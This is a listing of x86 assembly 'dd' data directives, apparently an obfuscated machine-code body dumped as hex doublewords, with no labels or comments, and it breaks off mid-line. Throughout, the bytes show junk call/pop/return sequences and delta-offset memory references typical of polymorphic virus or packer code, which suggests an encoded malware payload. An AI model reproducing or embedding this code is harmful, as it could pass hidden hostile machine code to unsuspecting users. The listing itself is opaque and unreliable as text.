8195FF38h dd 0E9064422h, 110h, 24358D29h, 800F0644h, 0 dd 5B5100B0h, 895270E6h, 440DDD95h, 71E45B06h, 10799589h dd 613C0644h, 0E6830Fh, 0AE90000h, 40000000h, 228B979h dd 0EA0B4CFAh, 0C8B60F31h, 26319D8Bh, 6BA0644h, 0BF000000h dd 1B31A21Eh, 7199D8Bh, 0C18B0644h, 9E8h, 1520FD00h, 79899A9Ah dd 0C15F8500h, 816604E8h, 66E2E2F7h, 9ABFE2F7h, 2B39DFA2h dd 0DE8C8h, 6A3E0000h, 14371F27h, 0CD82FB8h, 0F240CFEh dd 86h, 0D18B5F00h, 79E9FA8Bh, 89000000h, 441EDD9Dh, 0A5BD8B06h dd 8B064430h, 4C4C4485h, 83DE8B5Fh, 0BB6607C0h, 0C0834858h dd 45BD8900h, 3B06442Eh, 1D830FD0h, 0E9000000h, 10h, 6CB88BDBh dd 0E7CC4CB5h, 0B4C17817h, 0CDDF3750h, 33E9h, 0DAB70F00h dd 0FFFF8D8Bh, 0BF0FFFFFh, 1E183FFh, 1E840Fh, 0A5830000h dd 0FFFFFFFFh, 719D2BFEh, 8906442Dh, 4C4C4495h, 65BD895Fh dd 0E906440Fh, 0 dd 63F2B58Dh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 283978C3h, 0BF006A82h, 50DE1690h dd 2BCD9529h, 95FF0644h, 6441C4Dh, 2C719D8Bh, 0BE90644h dd 1B000000h, 0AF65460Eh, 0C088CAFCh, 5EB9F8F4h, 6A000010h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 1127C357h, 893F64EDh, 442D0D9Dh, 0FCE18306h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 19C35646h dd 44F78174h, 0FC325741h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 2EC35343h, 0BF9FD50Dh, 4D17DCB6h, 68F0Fh dd 0BD310000h, 6442A45h, 0B8h, 0DDBD8900h, 2B06441Bh, 0BD8951D2h dd 6442575h, 0C233AD5Fh, 0D003E8D1h, 7504E983h, 0B5BD8BF4h dd 81064425h, 40FCEDDFh, 699D8B59h, 0D064403h, 88h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 36C35646h, 46A2C781h dd 958B3A19h, 6442F5Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 9CC35141h, 0E1BD3311h, 8B06440Ch, 4406798Dh dd 0F98D8906h, 50064428h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 268BC9A4h, 8BFA8B0Dh, 57006AFBh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0ADBD83EFh, 6442Ch, 0A4840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BF0FB5C3h dd 8E9D9h, 9DDE0000h, 41EDDCDCh, 0B85F06h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 0E014C351h, 0BEB2733Ch, 0DE8h, 140ED900h, 0E474EDE1h dd 0B7A24556h, 8D5BD88Eh, 444E558Dh, 2860F06h, 8B000000h dd 88D0FDFh, 0F000000h, 28Eh, 0FF616000h, 53006AE1h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0F38166DEh, 0BD835678h, 6441071h, 3840F00h, 0E9000005h dd 11h, 0B02807B8h, 5C40023Eh, 1BE3A7E7h, 39DBA1B5h, 71BD8379h dd 1064410h, 4FB840Fh, 8D290000h, 64403C5h, 1071BD83h dd 0F030644h, 4B286h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 604782A1h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 99C35141h, 10E9BAh dd 32AF0000h, 0B7F7E2F4h, 6C6FFD4Dh, 0B2D18922h, 8C66F224h dd 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 3F536395h, 12E837h, 8EB80000h, 23A5833Bh dd 1A6CA74Ah, 7244D3Ch, 9A1ADA94h, 8D00E8BBh, 0E1805F0Dh dd 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0B509D78Dh, 6440B31h, 840FC90Ah, 126h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 62C35747h, 3650CD19h dd 6617ABADh, 858BD98Bh, 6440AD5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0ABC35242h, 0A9C9CCEh, 0BD8B6E62h dd 6443021h, 3BD8533h, 6A0644h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 20CF1EC3h, 0ABB7E5F7h dd 24048950h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 52C35646h, 0D19D239Ah, 0F064425h, 680h, 75BD8B00h dd 6A06442Bh, 3511BF00h, 0DABB2A39h, 686AAEBCh, 67D2C4D8h dd 81FA8B66h, 0C7272434h, 0BD8B67CDh, 6440CB9h, 8195FFh dd 6A0644h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 858906C3h, 647B760h, 2FB9BD8Bh, 47E90644h dd 6A000002h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0C42FC352h, 2F1BBBDFh, 858B20F6h dd 647B758h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 69C35343h, 1800C751h, 0F000000h, 0B80h, 6E900h dd 0EF300000h, 9BA281B6h, 0B75CB58Bh, 858B0647h, 644300Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0E4C35545h dd 3E41353Dh, 896DBC21h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 39EF1924h, 8589A865h dd 6442DEDh, 0AD5858Bh, 6A0644h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 4432DFC3h, 52C62406h dd 8166CF99h, 89ADDEE7h, 6A0446h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 8A4C4BC3h, 859856C1h dd 0ECF815Dh, 0F0F93FCh, 680h, 5D9D8900h, 50064408h, 4E6195BFh dd 2434895Fh, 1FB18D89h, 0B5FF0644h, 647B758h, 33A18D89h dd 4E80644h, 0FF000000h, 0E8001F03h, 0Dh, 6CD27D80h, 1971F497h dd 695D5572h, 0C2BB6615h, 0E9505F9Ch, 0Fh, 717948B1h, 0C32E7DE4h dd 8A5BBB87h, 8B02C086h, 8B042444h, 0BE800h, 0CAA20000h dd 0C436C7Eh, 2A55C17Bh, 11820F15h, 0E8000000h, 0Bh, 5CCF0A63h dd 5D6A7A4h, 5BCC01DAh, 2444895Fh, 2800F04h, 8A000000h dd 8D8958D9h, 6441D2Dh, 0B760858Dh, 6A0647h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0D10567C3h dd 0E9605276h, 9, 5E153C82h, 476B64D9h, 905B61CAh, 1DBF6656h dd 60505F0Bh, 8830BB66h, 90615F56h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 91C35242h, 0E4A3713Eh, 5FFBB753h dd 8195FFh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0F267A8C3h, 869B6072h, 1E25B589h dd 6A610644h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0C701C350h, 5227477Eh, 2C95A3F0h dd 107185C7h, 30644h, 8E0F0000h, 11h, 0CE9h, 0A12D6E00h dd 46414A3h, 0E81427A9h, 60BD8381h, 647B7h, 55840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 805257C3h, 8B8945F7h, 48E9DAh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 180424h, 55450000h, 89E48DC3h dd 8B663D53h, 0B0BB66DAh, 31B58996h, 5006440Ah, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 0BD03C08Bh dd 64428DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0E3C35646h, 0AAA40182h, 1071BD83h, 0F030644h, 51085h dd 518D0900h, 8306441Ah, 47B760BDh, 840F0006h, 4FDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 70C35242h, 16A764D5h, 3BB728CFh, 4850Fh dd 8B560000h, 0B5FF5BFBh, 647B760h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 2BC35545h, 58B79C17h, 1858915h dd 0F06442Ch, 583h, 9C6CBF00h, 95FF3D18h, 6440699h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F4C35141h, 8B8DAC97h dd 47B754B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 98BDE702h, 3F492312h, 9D8BB2EDh dd 6442EE9h, 0DE9h, 39A23F00h, 7F5A10D2h, 4B6282Dh, 6C71B23h dd 10001h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 6CC35141h, 0CE6A5F3Ch, 0E896F56Dh, 9, 684BD370h dd 0DAAB4ACFh, 2943BFF7h, 505B5BA3h, 0C9C1BB66h, 56006A96h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0E37C9C8h, 502D576Ah, 0C7816656h, 0B5FF7576h, 647B760h dd 14E8h, 0EA216400h, 3A15C0EFh, 0F666CD7Fh, 83468421h dd 21F04046h, 7DBD0B3Eh, 5B064418h, 1E0195FFh, 6A0644h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 94AD29C3h, 140C4E68h, 0F99F4FFh, 680h, 49B58900h, 8B064419h dd 47B754B5h, 850F6006h, 1, 858B61F5h, 6442E71h, 459CD781h dd 86892513h, 0C4h, 358531h, 0B70F0644h, 5D958BDFh, 0BB06442Fh dd 530EA8FAh, 248DBD8Bh, 0C2830644h, 0A19D0B04h, 89064424h dd 0B70F2050h, 0A0858DDFh, 0BF0647CAh, 6A4BA8C4h, 0B88689h dd 0BB660000h, 6A5DA7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0D7C35242h, 936610CEh, 97E98C9h, 4417B1BDh dd 0A840F06h, 60000000h, 860F5856h, 0 dd 41BD2961h, 0FF064420h, 47B760B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0AD605496h dd 84E62DA5h, 0FFB7B70Dh, 44296D95h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 8AAC5E5Eh dd 11E921h, 7BEC0000h, 1E448AE1h, 1E4DDE83h, 7938202Ah dd 504EF101h, 310F5250h, 8B0F50h, 5F000000h, 3489585Ah dd 0C59D8924h, 89064413h, 4402B5BDh, 60B5FF06h, 6A0647B7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 2A71C353h, 0BC72F6E9h, 8D01C654h, 6442E01h dd 17D995FFh, 6A0644h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 754F17C3h, 83FEB70Fh, 4414B5BDh dd 840F0006h, 8Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 51C35141h, 0E0B5F879h, 30659531h, 1500644h dd 44260985h, 60965B06h, 0AE10BA66h, 0F605061h, 68Eh, 0F525000h dd 50585A31h, 0F5F5152h, 10E831h, 0A7530000h, 0A8277DDFh dd 0BB1C7CA2h, 8A18675Eh, 5A5BD225h, 6A966158h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 3208C351h, 0DCCEEB47h, 0EB811EA7h, 0EE020B3h, 0FFF88B66h dd 47B760B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 772531C0h, 15118D89h, 0B5890644h dd 6440CE9h, 2E7D95FFh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 91F929C3h, 0F2FBE9F9h dd 10830FBEh, 0E9000000h, 0Bh, 0D8C07CC6h, 8D970B57h, 0FF367A75h dd 47B760B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 3111235Ah, 0D3876B24h, 519D8930h dd 0FF06440Dh, 44144195h, 85BD8306h, 206440Ah, 6D840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 81F7DAC3h, 8CD262EFh, 91858B3Ch, 6A064415h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 2858C355h, 0C6BBh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0EFC35242h, 0D58D89D5h, 0C7064409h dd 44175985h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0FCA4C0Bh, 89h, 0F19DE900h dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0E80E25C3h, 13E87CCBh, 4A000000h, 358A88C4h dd 0A40E0A8h, 0F71522Eh, 6C0EE197h, 95895BB3h, 6441BBDh dd 69C7805Fh, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0D21D2FC3h, 0A238634Ch, 71BD8B6Ch dd 8D06441Fh, 441BE185h, 0EB816606h, 8A508B1Dh, 240489FCh dd 0F2FE381h, 6A2A8Dh, 0FE8h, 913F1D00h, 7BDBBB07h, 973AFD26h dd 38C3B962h, 6A5BDF8Bh, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0E96B55D8h, 10h, 0F5CC9A6Fh dd 0CEF6614h, 9261D547h, 0CF55401h, 1BC1BD31h, 858D0644h dd 648FA52h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 1C35343h, 8B34611Fh, 5C083F9h, 1618C8BFh, 0BF669043h dd 0E850F107h, 0Bh, 89DE6774h, 2AEFF485h, 0E8F0D347h, 9 dd 56CE85EBh, 9D2386FFh, 810F0Fh, 5B000000h, 6A905Fh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0BDD6AFC3h, 66E06071h, 6AFA8Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0ABC35141h, 6A509Ah, 4BABBF66h dd 359BD8Bh, 95FF0644h, 6441825h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 66C35747h, 1232F55Ah, 8DDF8B45h dd 479A978Dh, 0AE906h, 8BCB0000h, 4B730348h, 2B484348h dd 0BF66D1FFh, 0BD83F434h, 6442F11h, 6D850F01h, 0BF000000h dd 78DA52E2h, 6A026Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 9D8B96C3h, 6441A95h, 52525090h dd 880Fh, 0F5F0000h, 0DE8B5331h, 50585A5Bh, 859D8B90h dd 0FF06441Eh, 44296D95h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0B719DCC8h dd 0BE4DFEAFh, 0D22E9h, 0E800h, 815D0000h, 48FA5CEDh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 31BB9530h, 0ED703EAEh, 0D319529h, 6A0644h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 940421C3h dd 0D71404A1h, 8B58858Dh, 7DBB0647h, 90769F19h, 2820F50h dd 60000000h, 6A9061h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0D8DD13C3h, 6870Fh, 0BD8B0000h dd 6440D6Dh, 31019D03h, 95010644h, 6443109h, 35FF64h, 66000000h dd 641628BFh, 2589h, 0D4BF0000h, 0FF745CBAh, 4408E985h dd 0F3BF6606h, 6AFF6AB3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0D7C9C352h, 9ABF66D0h dd 71B5FF5Ah, 0FF064400h, 44228195h, 112E906h, 9D090000h dd 64413EDh, 0BD8B00B0h, 64417C9h, 958970E6h, 6440039h dd 0BD8B71E4h, 6442389h, 830F613Ch, 0ECh, 0F18B6660h, 61F38B66h dd 66C8B60Fh, 18D8D781h, 6BAh, 0DD858900h, 0E8064417h dd 0Eh, 0F7161FC0h, 0FE2BC48Bh, 3CC1B091h, 8B602D42h, 441A059Dh dd 0ED8D8B06h, 61064431h, 29C18B5Bh, 441A4585h, 4E8C106h dd 2FB1B589h, 0F7660644h, 0AE9E2h, 12460000h, 0B8E2E731h dd 6B9AECFDh, 9D8BC82Bh, 6442BB9h, 0F60D18Bh, 684h, 69850B00h dd 6106441Ch, 6FE9h, 7743BB00h, 858B6275h, 47554C50h, 999BD89h dd 0F98B0644h, 8907C083h, 441BFD9Dh, 0C08306h, 1BFB3BBBh dd 0FD03B2Bh, 0F83h, 0DF816600h, 0F88A3F25h, 37E9h, 0F8BF0F00h dd 0FFFF8D8Bh, 0BF66FFFFh, 0E183786Eh, 21840F01h, 0F000000h dd 0A583FFB7h, 0FFFFFFFFh, 659D0BFEh, 89064415h, 554C5095h dd 0A58D8947h, 0E9064413h, 0 dd 7450B58Dh, 0E8600648h, 6, 1C8274A3h, 958BBE01h, 6440C5Dh dd 6A61F859h, 0F59D8B00h, 0FF06442Dh, 441C4D95h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 6EE6578Dh, 0BC00FA4Eh, 0F3FB9h, 83F88B00h, 8509FCE1h dd 6442D05h, 58F0FFCh, 51000000h, 5F07DF80h, 0B8h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 2BC090EFh, 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 6636C468h, 0CAF6F381h, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 6EC0BF66h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 6DC35646h, 0F81CDB0h, 880Dh dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 57F317A8h, 2ECD9D0Bh, 8B5B0644h, 442F5D95h dd 0A1950906h, 8B064400h, 4406798Dh, 0F6FBF06h, 8B5050CFh dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 250D9D03h dd 6A0644h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 657EF5C3h, 0B70F0E57h, 0ADBD83DBh, 6442Ch dd 84840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 890F44C3h, 6, 1DC1B589h, 0B80644h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0C32BC357h, 2942A032h, 5CDD6FD4h dd 2F9B589h, 8D8D0644h, 6444E55h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 0B0C35040h, 0E1FFFA7Eh, 28B19509h dd 0BD830644h, 6441071h, 6840F00h, 8B000004h, 4430BD9Dh dd 85336006h, 6443305h, 61FEBF0Fh, 1071BD83h, 0F010644h dd 40384h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0F6997C7h, 0B8Ch, 5850F00h, 0BB000000h dd 545F99D1h, 1071BD83h, 0F030644h, 39186h, 60FA8B00h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0B5C35646h dd 275C8031h, 11E9D1h, 56F0000h, 43D4AD69h, 6677E274h dd 0EB4F0DD8h, 66C77996h, 0BB66D98Ch, 0E1804975h, 0FB8B6604h dd 840FC90Ah, 11Dh, 3135B589h, 0DF800644h, 0D5858BD6h dd 0E906440Ah, 13h, 8AC03EFEh, 3487B6FDh, 6CA03CBFh, 0B226667Dh dd 33E24713h, 4403BD85h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 8B48531Eh, 441C059Dh dd 5E95006h, 9D000000h, 0C4C9E7DEh, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0BF5CC355h, 7DF4429Ah, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 8008B3C3h, 4E8F88Dh dd 0FF000000h, 66001F03h, 8B50FE8Bh, 24448BDFh, 0FA8B6604h dd 4489008Bh, 8B500424h, 31585FD9h, 44031595h, 8195FF06h dd 6A064400h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0E590C351h, 8B4A2F3Ah, 441AA5BDh dd 60858906h, 600647B7h, 0BE9h, 0BF7BF200h, 786099FDh dd 0AD18E010h, 25D1B509h, 0E9610644h, 1B2h, 6EEB8166h dd 58858BFEh, 810647B7h, 6E172D7h, 1800C770h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 6FC1C351h, 6E9C340h, 0CF000000h, 7187E9FDh dd 0BD89502Ah, 6441F19h, 5CB58B5Bh, 6A0647B7h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 22F7C357h, 410557B2h, 8E0FA5EEh, 0 dd 300D858Bh, 0B5890644h, 6441559h, 6A0689h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0BD8BF4C3h dd 6441AD9h, 0AD5858Bh, 6A0644h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0DEEC21C3h, 6A044689h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0FB8DC352h, 3FF30996h, 0F600017h, 5061CFBFh dd 0F6BB6651h, 34895F6Ch, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 0AA9F0D28h dd 80AE1BE6h, 51853133h, 81064415h, 0B71023D7h, 58B5FF2Bh dd 680647B7h, 3FF65A9Ah, 81FB8B66h, 59652434h, 6A3FE9h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0CB6DF9C3h, 0A1EC12C3h, 0B19D8BECh, 8106440Ch, 0CC72FDC3h dd 60858D20h, 6A0647B7h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 3B1C357h, 20D9BD8Bh dd 66500644h, 489DE8Bh, 82BF6624h, 8195FF3Ch, 0F064400h dd 8161F9B7h, 356FDF7h, 7185C722h, 3064410h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 8EDCC353h, 9D8BBD37h, 6441E25h, 94D8D09h dd 0BD830644h, 647B760h, 2F840F00h, 1000000h, 44212DB5h dd 3FE906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 345900C3h, 0DA8B6699h, 3050FC8Ah dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0E8F86023h, 10h, 8C7191A1h, 89F18273h, 710A0586h dd 414788D7h, 6E9h, 90AC6C00h, 592A9947h, 899D8B61h, 6A06441Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 62F8C357h, 83CA1F04h, 441071BDh, 850F0306h dd 434h, 695BD33h, 0D88B0644h, 0B760BD83h, 0F000647h, 41F84h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 56CE859h, 8BF16588h, 60B5FFFAh, 6A0647B7h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 4A43C350h, 0FFCC61C7h, 44069995h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 6F06D1F5h, 830Fh, 0B58B0000h, 647B754h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0D1C35545h, 0C7A2B0DCh dd 1000106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 5F14ACF0h, 810F1AF2h, 9, 3810Fh dd 0D3800000h, 56605031h, 0CE9h, 36A40D00h, 2474AD89h dd 985D6A0Ch, 0D98B5AB2h, 24348961h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 93C35747h, 4F77914Fh, 6FB759D5h dd 0B760B5FFh, 0D88B0647h, 1E0195FFh, 6A0644h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 16C14AC3h, 0E9D98BB1h, 13h, 0EC9E1995h, 84EC472Dh, 3BBF49A3h dd 91671DA2h, 8B07695Fh, 47B754B5h, 71858B06h, 6A06442Eh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 825FC350h, 0ECB50CA5h, 499D8B12h, 2B064421h dd 442D29BDh, 0C4868906h, 0E9000000h, 0Fh, 0A4C0589Ch dd 0F572797Bh, 855491DAh, 8B6AF6D1h, 442F5D95h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 8BC0D07Eh, 442121BDh, 91E38106h, 8940B482h, 44263185h dd 4C28306h, 0F4C919BFh, 20508959h, 8E8h, 1DA9EA00h, 0A5C5E17Ch dd 358D01F5h, 5F064408h, 0CAA0858Dh, 6A0647h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 54D9AEC3h dd 0AAC5C48Dh, 0BF0FE3B4h, 0B88689FAh, 66000000h, 6A8753BBh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 98F1E345h, 0E4F6A16h, 0B5FFA472h, 647B760h dd 5E9h, 0FB1D0E00h, 8B661786h, 6D95FFD8h, 0B7064429h dd 10E8965Dh, 2E000000h, 8E4FEA81h, 0D8BCEA0h, 0A2B1B4F0h dd 0E95A5BEBh, 12h, 1B16548h, 1A41F9F9h, 0F0F2ED7Fh, 9BDB9B03h dd 505B6373h, 0BE8h, 7FE40B00h, 7CC35D77h, 10303C2Fh, 0BD8B965Fh dd 6441CB1h, 0B760B5FFh, 6A0647h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 8791BFC3h, 0FFCFDF69h dd 4417D995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 2E5AE966h, 39BD8B22h, 80064424h dd 0BD8376DFh, 64414B5h, 4A840F00h, 1000000h, 440C5D95h dd 10E85006h, 46000000h, 3B25EDD8h, 0BCE2070h, 0F1F7CC3Ch dd 5060FDE4h, 0F57B752h, 5F585A31h, 6A243489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 8982C355h, 44094185h, 60B5FF06h, 890647B7h, 44316D8Dh dd 7D95FF06h, 0FF06442Eh, 47B760B5h, 11E806h, 425E0000h dd 0F36B4087h, 688BAB01h, 0CFA4840Fh, 66449DD6h, 7761DF81h dd 4195FF5Fh, 52064414h, 0DE8h, 0F4C39500h, 0D964D7BDh dd 3370C4F2h, 0BD01AF49h, 644213Dh, 0BD835F5Bh, 6440A85h dd 37840F02h, 81000000h, 91AE34D3h, 91858B18h, 9064415h dd 441AA18Dh, 0C606h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0FEC35141h, 0DE99A394h, 85C7D88Bh, 6441759h dd 0 dd 5E8h, 81CBFB00h, 8166D59Dh, 5B5CD2F7h, 0FFF3D4E9h, 0D8C781FFh dd 8B19AC12h, 55006AC1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0AA05E64Ch, 43573DBBh, 0A98D8905h dd 8D064409h, 441BE185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 9622F376h, 0BA55D1E2h dd 0C244BFEDh, 0E89051B8h, 0Bh, 9B07B1D3h, 0F7367CFh, 6602FBD9h dd 5B6571BFh, 90DE8B50h, 53006AF5h, 20FAD381h, 6A5B17A4h dd 0D5BD2B00h, 8D064407h, 49092285h, 56006A06h, 3E8h, 0C35E2000h dd 